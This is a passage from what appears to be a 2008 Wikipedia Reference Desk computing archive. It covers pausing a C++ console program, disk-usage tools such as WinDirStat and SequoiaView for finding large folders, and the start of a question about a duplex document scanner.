It said to use the cin.get() function instead because it is a native command and works on all OS's (whereas system("pause") would only work on Windows). Well, I tried the cin.get() function to pause the program and it did not work. It did the same thing it would have done without either command. My questions are what are your thoughts on this and how else can I use a native command to pause the program (using Dev-C++ on Windows XP)? (The webpage is [17].) Thanks, Ζρς ι'β' ^¡hábleme! 22:23, 20 July 2008 (UTC)

I wouldn't think the overhead would be an issue, since you are trying to slow the program down anyway. Also, system calls are fine if you only call a few times. It's only if they are in a loop called hundreds of times that it will be an issue. StuRat (talk) 03:16, 21 July 2008 (UTC)

Need to figure out sizes of directories on my computer

I'd like to figure out which directories take up the most space I have a 30gb hd and it is full already and I'd like to know what is eating all the space. I can right click, view properties in windows explorer to see what each individual folder is, but I'd like to see a list of all folders and which are the largest. Any software out there that can do this?

71.164.100.174 (talk) 22:44, 20 July 2008 (UTC)

Try this. I use it, but it gets kinda slow with large folders. Admiral Norton ^(talk) 23:22, 20 July 2008 (UTC)

i have 2.5gb text file in C:\Documents and Settings\All Users\Application Data\Microsoft\Dr Watson ...do i need that? i could really use the space for something else. —Preceding unsigned comment added by 71.164.100.174 (talk) 00:15, 21 July 2008 (UTC)

Try WinDirStat. This provides a nice graphical overview of a complete disk. Trieste (talk) 00:24, 21 July 2008 (UTC)

(ec) If you want to find out where stuff is easily, try something like SequoiaView, which will visualize the whole drive. As for any specific file, tell us the file name, it will do more than just telling us the location. --98.217.8.46 (talk) 00:28, 21 July 2008 (UTC)

I agree that SequoiaView is a great piece of software. Very usefull for this sort of thing. APL (talk) 01:00, 21 July 2008 (UTC)

JDiskReport is a similar software. --71.141.126.37 (talk) 04:49, 21 July 2008 (UTC)

NOTE: Use CCleaner before you do this. It will get rid of the obvious junk. Although not needed you can check every option without harm. Yes, some things don't NEED to be cleaned out but there is no harm in doing it. --mboverload@ 03:28, 21 July 2008 (UTC)

auto scanner

I seek a device where I can put in a stack of papers and it will go through each paper in the stack and scan both sides